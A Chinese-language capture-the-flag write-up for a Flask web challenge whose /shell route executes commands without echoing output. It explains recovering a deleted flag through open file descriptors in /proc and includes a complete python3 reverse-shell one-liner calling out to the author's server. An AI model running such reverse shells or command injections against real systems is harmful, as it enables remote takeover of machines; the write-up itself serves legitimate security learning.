V&N戰隊考核+招新,趙師傅出的Web題,做着感覺有點頂,趁熱打鐵寫write up記錄一下考察的知識點
這道題說是CheckIn其實還是有一定難度的(也可能是我太菜了),進入題目直接給出了flask的路由:
from flask import Flask, request import os app = Flask(__name__) flag_file = open("flag.txt", "r") # flag = flag_file.read() # flag_file.close() # # @app.route('/flag') # def flag(): # return flag ## want flag? naive! # You will never find the thing you want:) I think @app.route('/shell') def shell(): os.system("rm -f flag.txt") exec_cmd = request.args.get('c') os.system(exec_cmd) return "1" @app.route('/') def source(): return open("app.py","r").read() if __name__ == "__main__": app.run(host='0.0.0.0')
可以看到flask是包含“/”與“/shell”兩個頁面的,其中Flag儲存在flag.txt中,"/shell?c=$command"是可以執行代碼的
但是一旦訪問/shell 代碼又會“rm -f flag.txt”刪除flag.txt,導致我們無法直接cat /flag.txt(其實這里就算不刪文件也不能直接cat,因為這里是沒有回顯的)
這里引出我們的第一個知識點:文件描述符
什么是文件描述符:內核利用文件描述符來訪問文件。文件描述符是非負整數。打開現存文件或新建文件時,內核會返回一個文件描述符。讀寫文件也需要使用文件描述符來指定待讀寫的文件。
例如Python中,當我們open()函數打開一個文件時便創建了一個文件描述符,而后對這個文件描述符使用read()函數便是讀取文件描述符中的內容,close()函數用於關閉/銷毀這個文件描述符。
文件描述符儲存在什么地方:/proc/<pid>/fd<id>
也就是說,我們可以通過cat進程中的fd來獲取到文件描述符。
重新回到題目,重點關注題目第5行代碼:
flag_file = open("flag.txt", "r")
這里使用open()打開flag.txt是優先於刪除flag.txt的,也就是說在flag.txt被刪除前已經建立了文件描述符,我們通過讀取這個文件描述符的內容就可以獲得Flag。
但是對"/shell?c=$command"進行測試后發現這里是沒有回顯的,所以此時想到的辦法就是我們的第二個點:反彈Shell
建立反彈Shell常見的命令有bash、curl、nc、python -c等,但是這里測試后發現這些常用的命令都被禁了,無法反彈Shell
最后想到了python3 -c “command”執行命令,測試后發現python3可以執行,直接構造Shell:
python3 -c ' import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("39.105.*.*",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/bash","-i"]); '
帶到參數c中請求,在我們的服務器上便可以得到一個交互式的Shell
然后cd進/proc目錄,依次cd進<pid>(就是那些數字)目錄中,使用ls fd得到id
依次嘗試cat fd/0...直到得到Flag